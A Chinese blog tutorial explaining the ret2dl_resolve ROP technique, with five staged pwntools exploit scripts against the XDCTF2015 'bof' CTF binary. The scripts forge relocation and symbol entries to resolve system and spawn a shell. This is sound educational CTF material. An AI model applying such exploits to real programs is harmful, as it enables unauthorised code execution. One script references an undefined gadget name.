eeeeeeeeeeeeeeeea

愿我们永远热泪盈眶!

0%

ret2dl_resolve

本文主要是从小白的角度来介绍ret2dl这个高级rop,由于我一开始学习pwn的时候不知道还有ctfwiki这种好东西,直接错过了好多栈的知识,但是由于近期要面试,要学习一遍。我会从博客更新进度

一:整体介绍

1.在学习ret2dl之前,需要学习一些前置知识,比如要了解Elf32_Sym,Elf32_Rel还有.rel.plt,.rel.dyn,.got,.got.plt,.dynsym以及.dynstr

2.还要知晓延迟绑定是怎么回事(也就是PLT表的由来),因为我们就是要伪造_dl_runtime_resolve的第二个参数,来控制Elf32_Rel指针,然后控制Elf32_Rel结构体内的r_info,从而继续控制Elf32_Sym结构体(Elf32_Sym[num]中的num对应着ELF32_R_SYM(Elf32_Rel->r_info) = (Elf32_Rel->r_info) >> 8),就能达到控制字符串的目的。

二:详细介绍

1.Elf32_Sym和Elf32_Rel都是结构体,下面我们来看看定义

1
2
3
4
5
6
7
8
9
typedef struct
{
Elf32_Word st_name; // Symbol name(string tbl index)
Elf32_Addr st_value; // Symbol value
Elf32_Word st_size; // Symbol size
unsigned char st_info; // Symbol type and binding
unsigned char st_other; // Symbol visibility under glibc>=2.2
Elf32_Section st_shndx; // Section index
} Elf32_Sym;
1
2
3
4
typedef struct {
Elf32_Addr r_offset; // 对于可执行文件,此值为虚拟地址
Elf32_Word r_info; // 符号表索引
} Elf32_Rel;

程序会根据Elf32_Rel中的r_info来确定Elf32_Sym的下标

2..rel.plt和.rel.dyn

.rel.plt节是用于函数重定位,.rel.dyn节是用于变量重定位

3..got和.got.plt

.got保存全局变量偏移表,.got.plt保存全局函数偏移表,重要的一点是.got.plt中保存的是Elf32_Rel中的r_offset的值

4..dynsym和.dynstr

.dynsym包含了动态链接符号表,也就是相当于一个Elf32_Sym结构体数组,.dynstr包含动态链接的字符串

三:伪造流程

我们要知道,ret2dl_resolve名字中之所以有dl_resolve是有原因的,就是通过伪造dl_runtime_resolve这个函数的第二个参数来让其错误解析函数地址,比如将write@plt解析成system的地址

当我们第一次call write时,也就是还没有延迟绑定的时候,got表内存放的是plt[0]的第二条指令,而plt[0]的第一条指令是跳转到got表。

1
2
3
4
5
write@plt:
jmp *(write@GOT) //write@got存放了push n的地址
push n
push moduleID
jump _dl_runtime_resolve

我们伪造第二个参数,然后程序会根据.rel.plt+第二个参数(偏移)找到该函数的Elf32_Rel指针(我们可以伪造这个偏移到一个我们可以控制的地方),然后再伪造Rel的r_info(r_info>>8就得到num),就可以控制Sym的下标以及Sym的st_name,最后就可以通过.dynstr+Elf32_Sym[num]->st_name找到我们需要的函数字符串

剩余部分明天再写,有点晚了,晚安!

四:具体过程

有一道题目看一下保护(根据ctfwiki)

image-20210830035226973

是一个简单的栈溢出过程,溢出长度为112

stage1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
elf = ELF('bof')
offset = 112 #溢出长度
read_plt = elf.plt['read']
write_plt = elf.plt['write']

ppp_ret = 0x08048619 # ROPgadget --binary bof --only "pop|ret"
pop_ebp_ret = 0x0804861b
leave_ret = 0x08048458 # ROPgadget --binary bof --only "leave|ret"

stack_size = 0x800
bss_addr = 0x0804a040 # readelf -S bof | grep ".bss"
base_stage = bss_addr + stack_size

r = process('./bof')

r.recvuntil('Welcome to XDCTF2015~!\n')
payload = 'A' * offset
payload += p32(read_plt) # 读100个字节到base_stage
payload += p32(pop_ret)
payload += p32(0)
payload += p32(base_stage)
payload += p32(100)
payload += p32(pop_ebp_ret) # 把base_stage pop到ebp中
payload += p32(base_stage)
payload += p32(leave_ret) # 将esp指向base_stage
r.sendline(payload)

cmd = "/bin/sh"

payload2 = 'AAAA' # 接上一个payload的leave->pop ebp ; ret
payload2 += p32(write_plt)
payload2 += 'AAAA'
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
r.sendline(payload2)
r.interactive()

image-20210830112846141

结果输出”/bin/sh”

stage2

修改payload2,ret处为p32(plt_0),则会压入dl_runtime_resolve的参数,又因为是32位程序,所以会将p32(index_offset)是dl函数的第二个参数。也就相当于调用write函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
cmd = "/bin/sh"
plt_0 = 0x08048380 # objdump -d -j .plt bof
index_offset = 0x20 # write's index

payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'AAAA'
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
r.sendline(payload2)
r.interactive()

image-20210830113121650

同样也会输出”/bin/sh”

stage3

伪造index_offset和fake_reloc,最终达到调用write的目的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
cmd = "/bin/sh"
plt_0 = 0x08048380 # objdump -d -j .plt bof
rel_plt = 0x08048330 # objdump -s -j .rel.plt bof
index_offset = (base_stage + 28) - rel_plt # base_stage + 28指向fake_reloc,减去rel_plt即偏移
write_got = elf.got['write']
r_info = 0x607 # write: Elf32_Rel->r_info,右移8位后作为Elf32_Sym的下标
fake_reloc = p32(write_got) + p32(r_info) #伪造的Elf32_Rel

payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset) #会得到指向Elf32_Rel的指针
payload2 += 'AAAA'
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))
payload2 += fake_reloc # (base_stage+28)的位置
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
r.sendline(payload2)
r.interactive()

image-20210830122930335

输出”/bin/sh”

stage4

继stage3,继续伪造sym,使sym->st_name指向我们控制的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
cmd = "/bin/sh"
plt_0 = 0x08048380
rel_plt = 0x08048330
index_offset = (base_stage + 28) - rel_plt
write_got = elf.got['write']
dynsym = 0x080481d8
dynstr = 0x08048278
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) # 这里的对齐操作是因为dynsym里的Elf32_Sym结构体都是0x10字节大小
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10 # 除以0x10因为Elf32_Sym结构体的大小为0x10,得到write的dynsym索引号
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(write_got) + p32(r_info)
st_name = 0x4c #write
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)

payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'AAAA'
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))
payload2 += fake_reloc # (base_stage+28)的位置
payload2 += 'B' * align
payload2 += fake_sym # (base_stage+36)的位置
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
r.sendline(payload2)
r.interactive()

image-20210830123415200

输出”/bin/sh”

stage5

将dynstr+Elf32_sym[num]->st_name指向的字符串变为”system”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
cmd = "/bin/sh"
plt_0 = 0x08048380
rel_plt = 0x08048330
index_offset = (base_stage + 28) - rel_plt
write_got = elf.got['write']
dynsym = 0x080481d8
dynstr = 0x08048278
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(write_got) + p32(r_info)
st_name = (fake_sym_addr + 0x10) - dynstr
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)

payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'AAAA'
payload2 += p32(base_stage + 80)
payload2 += 'aaaa'
payload2 += 'aaaa'
payload2 += fake_reloc # (base_stage+28)的位置
payload2 += 'B' * align
payload2 += fake_sym # (base_stage+36)的位置
payload2 += "system\x00"
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
r.sendline(payload2)
r.interactive()

直接拿到shell

参考链接:

https://markrepo.github.io/kernel/2018/08/19/dynamic-link/

http://pwn4.fun/2016/11/09/Return-to-dl-resolve/

http://www.wangqingzheng.com/anquanke/24/196624.html